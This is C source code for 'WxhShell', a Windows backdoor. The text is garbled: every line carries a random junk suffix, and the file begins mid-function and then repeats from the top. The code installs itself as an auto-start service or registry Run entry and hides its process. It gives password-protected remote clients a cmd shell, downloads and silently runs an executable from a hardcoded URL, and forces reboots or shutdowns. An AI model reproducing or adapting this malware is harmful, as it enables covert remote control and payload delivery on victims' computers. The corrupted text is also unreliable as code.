    } 6T5nr  
  // 关机 U{2UKD@PM  
  case 'd': { R~],5_|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $MEKt}S  
    if(Boot(SHUTDOWN)) o(I[_oUy\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZCbUkq  
    else { m1k+u)7kD  
    closesocket(wsh); yjbqby7  
    ExitThread(0); %:eep G|  
    } @,63%  
    break; FN&.PdRT  
    } ;@@1$mzK  
  // 获取shell /f9jLY +  
  case 's': { +Zx+DW cq  
    CmdShell(wsh); =_`4HDr  
    closesocket(wsh); xrK%3nA4s"  
    ExitThread(0); P!{ O<P  
    break; M<,E[2op  
  } b0 CtQe  
  // 退出 wPDA_ns~  
  case 'x': { tIgKnKr^)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J@y1L]:  
    CloseIt(wsh); c8sY#I  
    break; AWP CJmr  
    } eyZ /%4'q  
  // 离开 9tVA.:FOZ  
  case 'q': { PX3rHKK {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kne{Tp  
    closesocket(wsh); .Z}ySd:X  
    WSACleanup(); &Z_W*D  
    exit(1); )~<8j  
    break; ldo7}<s  
        } xD;5z`A3  
  } l K%pxqx  
  } n\}!'>d'  
Ctxs]S tU%  
  // 提示信息 .N99=%[}h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xn&G`  
} _yyQ^M/  
  }  = uZ[  
gRuNC=sR  
  return; E ?(  
} Us'm9 J  
k~u$&a  
// shell模块句柄 x-k}RI  
int CmdShell(SOCKET sock) 8/f ,B:by  
{ EZz Ox(g  
STARTUPINFO si; ?yF)tF+<  
ZeroMemory(&si,sizeof(si)); 2JZf@x+}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oBr/CW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k7Fa+Y)K7  
PROCESS_INFORMATION ProcessInfo; ^WP`;e  
char cmdline[]="cmd"; o~,dkV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w: ~66 TCI  
  return 0; xR2E? 0T  
} 7_taqcj  
[K;J#0V+&L  
// 自身启动模式 &'4id[$9  
int StartFromService(void) S1{UVkr  
{ o&1ewE(O]  
typedef struct KFdTw{GlJ7  
{ 5bX SN$7|  
  DWORD ExitStatus; I0=YIcH5  
  DWORD PebBaseAddress;  Q0' xn  
  DWORD AffinityMask; S1&mY'c  
  DWORD BasePriority; "o/:LCE  
  ULONG UniqueProcessId; kt.z,<w5O  
  ULONG InheritedFromUniqueProcessId; N;7Xt9l  
}   PROCESS_BASIC_INFORMATION; 8[U1{s:J  
D\]gIXg  
PROCNTQSIP NtQueryInformationProcess; W[[3'JTF  
^4_)a0Kcm,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,F(nkbt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y^tuybpZY<  
t\E#8  
  HANDLE             hProcess; `me2Q  
  PROCESS_BASIC_INFORMATION pbi; 7udMF3;>  
ULqnr@/FbK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j2SJ4tB /  
  if(NULL == hInst ) return 0; >4`("#  
=4uL1[0'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Enn7p9&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u HqPb8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2`I" QU  
@6 uB78U4O  
  if (!NtQueryInformationProcess) return 0; Mfe/(tlI  
ciVN-;vi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;@GlJ '$;  
  if(!hProcess) return 0; ya3A^&:  
7J,j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T;qP"KWZ  
*ndXZ64  
  CloseHandle(hProcess); Z`<S_PPz  
z[X>>P3<n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ecp]fUQK  
if(hProcess==NULL) return 0; Y3+DTR0|'  
V  @8+  
HMODULE hMod; }#5V t  
char procName[255]; .dX ^3  
unsigned long cbNeeded; e/JbRbZX  
5xe} ljo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &?flH;  
, f{<  
  CloseHandle(hProcess); WzZ<ZCHm  
@S\!wjl]C  
if(strstr(procName,"services")) return 1; // 以服务启动 Ya{$:90(4  
F8mS5oB|^  
  return 0; // 注册表启动 p;cNmMm  
} :,%~R2  
$(B|$e^:(  
// 主模块 ^N#B( F  
int StartWxhshell(LPSTR lpCmdLine) \=PnC}7I  
{ $Y* d ' >  
  SOCKET wsl; ?aOx b  
BOOL val=TRUE; F \6-s`(  
  int port=0; chk1tFV  
  struct sockaddr_in door; _K["qm{X_  
-J*BY2LU3f  
  if(wscfg.ws_autoins) Install(); 69ZGdN  
q ww*  
port=atoi(lpCmdLine); %0l'Nuz  
S?ELFq(g  
if(port<=0) port=wscfg.ws_port; 3y?I^ .B  
)(yD"]co  
  WSADATA data; }-QFMPXhG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Gixu9u'  
T1AD(r\W5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j=b?WNK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j<|I@0  
  door.sin_family = AF_INET; n4A_vz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & -L$B  
  door.sin_port = htons(port); :_9MS0  
D! TFb E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :"QR;O@  
closesocket(wsl); FyleK+D?  
return 1; !YX$4_I  
} SR)jJ=R3  
}#%3y&7M7  
  if(listen(wsl,2) == INVALID_SOCKET) { tDw(k[aK@  
closesocket(wsl); @GTkS!86  
return 1; KA~eOEj M  
} |Z6M?n  
  Wxhshell(wsl); *Rm"3S  
  WSACleanup(); _mSDz=!Z3  
\tR](, /  
return 0; y,&'nk}  
TOF_m$@#  
} uBpnfIe  
@ ;T|`Y=7  
// 以NT服务方式启动 b0X<)1O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b;Nm$`2  
{ U-^qVlw  
DWORD   status = 0;  vVvx g0  
  DWORD   specificError = 0xfffffff; _{Z!$q6,  
`Xs3^FJt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a ]~Rp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]'IZbx:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bsCl w  
  serviceStatus.dwWin32ExitCode     = 0; 287g 5  
  serviceStatus.dwServiceSpecificExitCode = 0; *LuR <V  
  serviceStatus.dwCheckPoint       = 0; Uk1|y\  
  serviceStatus.dwWaitHint       = 0; v@,n]"  
H){}28dX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sr S2v\1:  
  if (hServiceStatusHandle==0) return; GK6/S_l%D+  
B'NtG84  
status = GetLastError(); -9PJ4"H  
  if (status!=NO_ERROR) K Eda6zZH  
{ QK~44;LVIJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5:R$xgc  
    serviceStatus.dwCheckPoint       = 0; L i g7Ac,  
    serviceStatus.dwWaitHint       = 0; ,5*Z<[*  
    serviceStatus.dwWin32ExitCode     = status; 1R-1#<a>&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8Cx6Me>,=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Ff _)k  
    return; d9=i{i3  
  } K UD.hK.  
8n&Gn%DvX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; we("#s1=  
  serviceStatus.dwCheckPoint       = 0; s78MXS?py  
  serviceStatus.dwWaitHint       = 0; ;OMR5KAz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?8U#,qq#`  
} s7d4)A%  
B3^F $6=  
// 处理NT服务事件,比如:启动、停止 T0;8koj^_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %~e+H|  
{ :  I q  
switch(fdwControl) A4~- {.w=  
{ |l-~,eRvi5  
case SERVICE_CONTROL_STOP: 8(zE^W,[8"  
  serviceStatus.dwWin32ExitCode = 0; zi^?9n),  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !-veL1r  
  serviceStatus.dwCheckPoint   = 0; :kMF.9U:  
  serviceStatus.dwWaitHint     = 0; 9}|x N8  
  { 5FJ(x:k?z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fEo5j`}  
  } P:#KBF;a  
  return; :{LNr!I?I  
case SERVICE_CONTROL_PAUSE: \:BixBU7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +dG3/vV  
  break; Hk8lHja+\  
case SERVICE_CONTROL_CONTINUE: JW},7Ox  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?S<`*O +  
  break; MvKr~  
case SERVICE_CONTROL_INTERROGATE: \Ota~A  
  break; sRI0;  
}; ^7Rc\   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3<x1s2U  
} $2E&~W %  
41v#|%\w  
// 标准应用程序主函数 1j*E/L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) drQI@sPp  
{ ^`S.Mw.  
nYnB WDnV  
// 获取操作系统版本  ID]E3K  
OsIsNt=GetOsVer(); L9$`zc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h-<Qj,L{W  
I~ 1Rt+:  
  // 从命令行安装 m9=93W?   
  if(strpbrk(lpCmdLine,"iI")) Install(); Pi hpo  
J#DN2y <  
  // 下载执行文件 } *jmW P  
if(wscfg.ws_downexe) { %a:>3! +  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hHk9O?  
  WinExec(wscfg.ws_filenam,SW_HIDE); $KVCEe!X  
} `%/w0,0  
G,}"}v:  
if(!OsIsNt) { Y 8n*o3jM  
// 如果时win9x,隐藏进程并且设置为注册表启动 9i46u20  
HideProc(); Z8ds`KZM  
StartWxhshell(lpCmdLine); x~JOg57up  
} /:d6I].  
else `aDVN_h{6  
  if(StartFromService()) +QEP:#qZw  
  // 以服务方式启动 ]]NTvr  
  StartServiceCtrlDispatcher(DispatchTable); vD^Uod1  
else FL {$9o\@  
  // 普通方式启动 hb<cynY  
  StartWxhshell(lpCmdLine); g/ 4ipcG;N  
cN:dy#  
return 0; Z,oCkv("n  
} I8/tD|3  
c2u*<x  
{G+iobQdd  
/5Sd?pW;  
=========================================== [(2XL"4D  
jN AS'JV  
6~-,.{Y  
5.LfN{gE)  
+1]A$|qyW  
f28bBuv1?  
" f~R+Q/Gtz`  
w! PguP  
#include <stdio.h> >QdT 7gB  
#include <string.h> !;UoZ~  
#include <windows.h> nT%ko7~-  
#include <winsock2.h> >qVSepK3  
#include <winsvc.h> (<}BlL   
#include <urlmon.h> L6"V=^Bq  
kEp{L  
#pragma comment (lib, "Ws2_32.lib") j[A:So  
#pragma comment (lib, "urlmon.lib") [:zP]l.|  
^'n;W<\p)  
#define MAX_USER   100 // 最大客户端连接数 Q*hXFayx  
#define BUF_SOCK   200 // sock buffer "Hk7s+%  
#define KEY_BUFF   255 // 输入 buffer SZUo RWx  
Jflm-Hhsf  
#define REBOOT     0   // 重启 J |w%n5Y  
#define SHUTDOWN   1   // 关机 0DFVB%JdI  
Us.k,  
#define DEF_PORT   5000 // 监听端口 Ae%AG@L  
_\gCdNrD  
#define REG_LEN     16   // 注册表键长度 ]v]tBVO$  
#define SVC_LEN     80   // NT服务名长度 Sf*gAwnW  
Q ZC\%X8j  
// 从dll定义API (^"2"[?a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (((|vI3 <  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =ea.+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L&d.&,CNs'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RT(ejkLZm  
Vg(M ^2L  
// wxhshell配置信息 Iw^Q>MrT  
struct WSCFG { k=cDPu -  
  int ws_port;         // 监听端口 g4y& 6!g  
  char ws_passstr[REG_LEN]; // 口令 I_ AFHrj  
  int ws_autoins;       // 安装标记, 1=yes 0=no (*_lLM@Cd  
  char ws_regname[REG_LEN]; // 注册表键名 LJ K0WWch  
  char ws_svcname[REG_LEN]; // 服务名 ,M~> t7+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _'4S1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }kF?9w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k?rJGc G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m Ga:~x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ExM VGe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .K]Uk/W  
>?#zPweA  
}; l&*= .Zc7!  
^]D+H9Tl  
// default Wxhshell configuration Sx8C<S5r<  
struct WSCFG wscfg={DEF_PORT, ~(#iGc]7  
    "xuhuanlingzhe", 7X)4ec9H\  
    1, ==BOW\  
    "Wxhshell", LpL$=9  
    "Wxhshell", 8rjD1<  
            "WxhShell Service", tyWDa$u,u  
    "Wrsky Windows CmdShell Service", U^eos;:s8  
    "Please Input Your Password: ", +* j8[sz  
  1, ,"F0#5  
  "http://www.wrsky.com/wxhshell.exe", 0 6M?ecN  
  "Wxhshell.exe" JL>frS3M  
    }; UZs'H"K  
G{{M' 1  
// 消息定义模块 0":k[y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [RF]lM]w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |?]doBm|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uu52uR  
char *msg_ws_ext="\n\rExit."; M[+#*f.T}  
char *msg_ws_end="\n\rQuit."; Yep~C %/}  
char *msg_ws_boot="\n\rReboot..."; jSSEfy>^  
char *msg_ws_poff="\n\rShutdown..."; 'F#dv[N  
char *msg_ws_down="\n\rSave to "; &po!X )  
EqGpo_  
char *msg_ws_err="\n\rErr!"; @qYT/V*/  
char *msg_ws_ok="\n\rOK!"; a6Joa&`dv  
)\j dF-s  
char ExeFile[MAX_PATH]; kv6nVlI)B  
int nUser = 0; 0OQ*V~>f  
HANDLE handles[MAX_USER]; 2% /Kf}+  
int OsIsNt; 6`vW4]zu  
m;A[ 2 6X  
SERVICE_STATUS       serviceStatus; L^zh|MEyzk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hsT&c|  
?20R\ ]U  
// 函数声明 $7ix(WL<%  
int Install(void); lD, ~%  
int Uninstall(void); "vT$?IoEV  
int DownloadFile(char *sURL, SOCKET wsh); ?D6|~k i  
int Boot(int flag); ^ g|VZN  
void HideProc(void); ~@)s)K  
int GetOsVer(void); /[D_9  
int Wxhshell(SOCKET wsl); U82mO+}  
void TalkWithClient(void *cs); =R~zD4{"  
int CmdShell(SOCKET sock); 2gZ nrU  
int StartFromService(void); Mi{ns $B%  
int StartWxhshell(LPSTR lpCmdLine); ?3 k_YN"  
znPh7{|<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0~K&P#iR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RKE"}|i +S  
!nvg:$.&  
// 数据结构和表定义 x}nBU q:  
SERVICE_TABLE_ENTRY DispatchTable[] = @g4o8nH}  
{ *nHuGla  
{wscfg.ws_svcname, NTServiceMain}, 3!osQ1  
{NULL, NULL} {y a .  
}; pkae91  
ji ./m8(  
// 自我安装 G~v:@  
int Install(void) ~;a \S3  
{ HsUh5;  
  char svExeFile[MAX_PATH]; @K+gh#  
  HKEY key; uo J0wG.  
  strcpy(svExeFile,ExeFile); f$6N  
h6OQeZ.  
// 如果是win9x系统,修改注册表设为自启动 ]@ke_' "  
if(!OsIsNt) { i;U*Y *f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c{_JPy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \@WVeFr  
  RegCloseKey(key); dS3\P5D.*c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1+WVh7gF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i>]PW|]  
  RegCloseKey(key); `}KxzD  
  return 0; w/ (c}%v}=  
    } '"\'<>Be  
  } eBs.RR ]O  
} 7s#8-i  
else { oI[rxr  
xVbRCu#Z  
// 如果是NT以上系统,安装为系统服务 1:<(Q2X%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rhy-o?  
if (schSCManager!=0) } `r.fD  
{ U1X"UN)  
  SC_HANDLE schService = CreateService 86N,04  
  ( fZ5 UFq_~s  
  schSCManager, k&%i+5X  
  wscfg.ws_svcname, IsE3-X|  
  wscfg.ws_svcdisp, kY'Wf`y(  
  SERVICE_ALL_ACCESS, *d;TpwUI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vdAd@Z~\  
  SERVICE_AUTO_START, Z\EA!Cs3  
  SERVICE_ERROR_NORMAL, 8cG`We8l&  
  svExeFile, q(:L8nKT]  
  NULL, \U]K!K=  
  NULL, 1(dKb  
  NULL, aEvbGo  
  NULL, )LIn1o_,  
  NULL & ]] l0B  
  ); /\# f@Sg  
  if (schService!=0) c6#E gN,X  
  { -` ViuDX=  
  CloseServiceHandle(schService); =g! Pw]  
  CloseServiceHandle(schSCManager); {yWL|:#K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VOM@x%6#c  
  strcat(svExeFile,wscfg.ws_svcname);  MiIxj%,(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2Kz$y JTp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !ess.U&m'  
  RegCloseKey(key); f"P866@oWn  
  return 0; #jrlNg4(  
    } (C#0 ML  
  } >MN"87U6  
  CloseServiceHandle(schSCManager); ?%UiW7}j';  
} oJr+RO  
} p|2GPrA]aL  
[B+F}Q^;  
return 1; 6>rz=yAM_  
} U364'O8_  
P.@dB.Ny  
// 自我卸载 Ih|4ISI  
int Uninstall(void) h7q{i|5  
{ v$Fz^<Na  
  HKEY key; zpT^:Ag  
g"5Kth  
if(!OsIsNt) { P@ew' JL%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U(y8nI]  
  RegDeleteValue(key,wscfg.ws_regname); 452kE@=49  
  RegCloseKey(key); ||QK)$"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x4c|/}\)*  
  RegDeleteValue(key,wscfg.ws_regname); q%])dZ!lE  
  RegCloseKey(key); h`\ $8 oV  
  return 0; SDO:Gma  
  } G&^8)S@1  
} TS9<uRO0  
} mu{C>w_Rz  
else { n4S`k%CI  
bKM*4M=k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B2Y.1mXq  
if (schSCManager!=0) wrgB =o  
{ 2} pZyS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BYEZ[cM  
  if (schService!=0) JS^DyBXc  
  { G`O*AQ}[  
  if(DeleteService(schService)!=0) { rP7 QW)NF  
  CloseServiceHandle(schService); c86KDEF  
  CloseServiceHandle(schSCManager); uq s   
  return 0; 9)W3\I>U-  
  } GJcxqgk$  
  CloseServiceHandle(schService); l1k&@1"  
  } tUx H 6IS  
  CloseServiceHandle(schSCManager); (JlPe)Q5  
} ]VKQm(,0  
} Ut\:jV=f  
Dh2Cj-| ~  
return 1; z6@8IszU  
} dV38-IfGkl  
"[?DS  
// 从指定url下载文件 AJEbiP  
int DownloadFile(char *sURL, SOCKET wsh) igA?E56?  
{ NT 5=%X]  
  HRESULT hr; ptT-{vG  
char seps[]= "/"; 5s3QN{h8  
char *token; Eej Lso#\  
char *file; LJ~#0Zu?  
char myURL[MAX_PATH]; V/2NIh  
char myFILE[MAX_PATH]; bpZA% {GS  
uPl}NEwU|  
strcpy(myURL,sURL); f^1J_}cL  
  token=strtok(myURL,seps); &Ril[siw  
  while(token!=NULL) bl a`B=r  
  { w6!97x  
    file=token; AH&RabH2  
  token=strtok(NULL,seps); uthW AT &  
  } AE~a=e\x  
i8e*9;4@  
GetCurrentDirectory(MAX_PATH,myFILE); OJa(Gds  
strcat(myFILE, "\\"); 4RVqfD  
strcat(myFILE, file); jdJTOT  
  send(wsh,myFILE,strlen(myFILE),0); @ !su7  
send(wsh,"...",3,0); k*N!U[]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vq]ixag2^  
  if(hr==S_OK) i;9X_?QF  
return 0; 2_HIn  
else xA7~"q&u  
return 1; tcXXo&ZS  
MF<ZB_@  
} 63l& ihj  
K9Mz4K_  
// 系统电源模块 fV>d_6Lf}  
int Boot(int flag) */IiL%g4u  
{ ]$L5}pE3  
  HANDLE hToken; M;y*`<x  
  TOKEN_PRIVILEGES tkp; Oe\(=R  
*z69ti/ t  
  if(OsIsNt) { tE=09J%z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2)\->$Q(H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !Ea >tQ|  
    tkp.PrivilegeCount = 1; ^4 $4x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i \NV<I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1xS+r)_n@  
if(flag==REBOOT) { =AzPAN#e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3A`]Rk   
  return 0; j8Z;}Ps  
} K\9CW%W  
else { E} XmZxHV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tIDN~[1  
  return 0;  :2nsi4  
} $T3_~7N  
  } xgcJEox!  
  else { !i-t6f  
if(flag==REBOOT) { LcvczS T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C`_/aR6  
  return 0; i,ZEUdd*_  
} 2k<#e2  
else { 8_4!Ar>2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e%)iDt\j  
  return 0; _x(hlHFk  
} 082iE G  
} dV B#Np  
*KDTBd  
return 1; LXX('d  
} HJ]v-  
>D!R)W`  
// win9x进程隐藏模块 .+(V</  
void HideProc(void) @U=y}vi8  
{ &P9fM-]b s  
yC1OeO8{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %z@ Z^Jv  
  if ( hKernel != NULL ) Jfr'OD2$ %  
  { nu+K N,3R"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?SgFD4<~P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mM&P&mz/D  
    FreeLibrary(hKernel); nE8z1hBUq  
  } <$-^^b(y  
WRu(F54Sk  
return; ben-<3r  
} BkB _?^Nv8  
M}[Q2v\  
// 获取操作系统版本 _f@,) n  
int GetOsVer(void) sc+%v1Y#}  
{ J@/4CSCR]  
  OSVERSIONINFO winfo; xwZ1Q,'C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~*1>)P8]#  
  GetVersionEx(&winfo); iT==aJ=~/&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V WZpEi  
  return 1; 2o<*rH  
  else I"czo9Yspd  
  return 0; W8^A{l4  
} &T,,fz$  
'e]>lRZ  
// 客户端句柄模块 8[J%TWq%9  
int Wxhshell(SOCKET wsl) QxW+|Gt._  
{ n(Nu  
  SOCKET wsh; A@< !'  
  struct sockaddr_in client; :'wxm3f  
  DWORD myID; H6`k%O*  
TfZM0Wz  
  while(nUser<MAX_USER) K Ha,6X  
{ Yf9E0po  
  int nSize=sizeof(client); R4;1LZ8XzS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wp1O*)/q  
  if(wsh==INVALID_SOCKET) return 1; qc,EazmU  
xwsl$Rj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); agwbjkU/  
if(handles[nUser]==0) 7WmLC  
  closesocket(wsh); _Kaqx"D  
else d)uuA;n  
  nUser++; I-!7 EC2{!  
  } i/_rz.c~3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l=XZBe*[g'  
m33&obSP  
  return 0; |GQq:MB;z  
} i695P}J2  
UeCi{ W  
// 关闭 socket 0O'M^[=d.8  
void CloseIt(SOCKET wsh) *c4OhMU(  
{ )2y [#Blo  
closesocket(wsh); cu}(\a  
nUser--; 5: gpynE|  
ExitThread(0); E7h@Y~bNhW  
} g0biw?  
aOg9Dqtg)f  
// 客户端请求句柄 am/}V%^  
void TalkWithClient(void *cs) gHp4q!SJ7  
{ yx?oxDJg  
:K~@JlJd  
  SOCKET wsh=(SOCKET)cs; JzywSQ  
  char pwd[SVC_LEN]; }*!L~B!  
  char cmd[KEY_BUFF]; <FkaH8,7  
char chr[1]; -ABj>y[  
int i,j; U*K4qJ6U  
)( 3)^/Xz  
  while (nUser < MAX_USER) { Ma?uB8o+~  
Z*3RI5)dx  
if(wscfg.ws_passstr) { W!ug^2"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4IZAJqw(*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V$DB4YM1k  
  //ZeroMemory(pwd,KEY_BUFF); xp:I(  
      i=0; z<t2yh(DF  
  while(i<SVC_LEN) { rV"3oM]Lo  
^[[@P(e>  
  // 设置超时 >,zU=I?9Y  
  fd_set FdRead; $Xo_8SX,  
  struct timeval TimeOut; FP{=b/  
  FD_ZERO(&FdRead); MbYgGE,LA  
  FD_SET(wsh,&FdRead); A iR#:r  
  TimeOut.tv_sec=8; ?@x$ h  
  TimeOut.tv_usec=0; .mrv"k\<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iDDq<a.A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oAN,_1v)  
4 w*m]D{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T@vE@D  
  pwd=chr[0]; .DwiIr'  
  if(chr[0]==0xd || chr[0]==0xa) { uh 9b!8  
  pwd=0; aC9iNm8w  
  break; nO`[C=|  
  } s3ASA.*  
  i++; 8}[<3K%*g  
    } o}waJN`yI  
A-vYy1,'  
  // 如果是非法用户,关闭 socket 5R.jhYAj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pT+OPOSR  
} g;R  
F_@` <d!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L1` ^M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \g]rOYW  
3k_\ xQ  
while(1) {  RF<f  
oVUsI,8  
  ZeroMemory(cmd,KEY_BUFF); qe1>UfY  
 nmL|v  
      // 自动支持客户端 telnet标准   -*&aE~Cs  
  j=0; M4 ?>x[Pw  
  while(j<KEY_BUFF) { nRq[il0 `i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xq"9TYf$  
  cmd[j]=chr[0]; V=1yg24B<  
  if(chr[0]==0xa || chr[0]==0xd) { Y -BZV |  
  cmd[j]=0; [G+@[9hn%  
  break; 9nO&d(r g  
  } (u8OTq@  
  j++; Wvd-be  
    } nF3Sfw,  
hn6'$P  
  // 下载文件 ~ c~j  
  if(strstr(cmd,"http://")) { P-^-~/>n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lo[;{A$u  
  if(DownloadFile(cmd,wsh)) }7%ol&<@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o2YHT \P n  
  else #"C* dNAB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mT j  
  } {c1wJ  
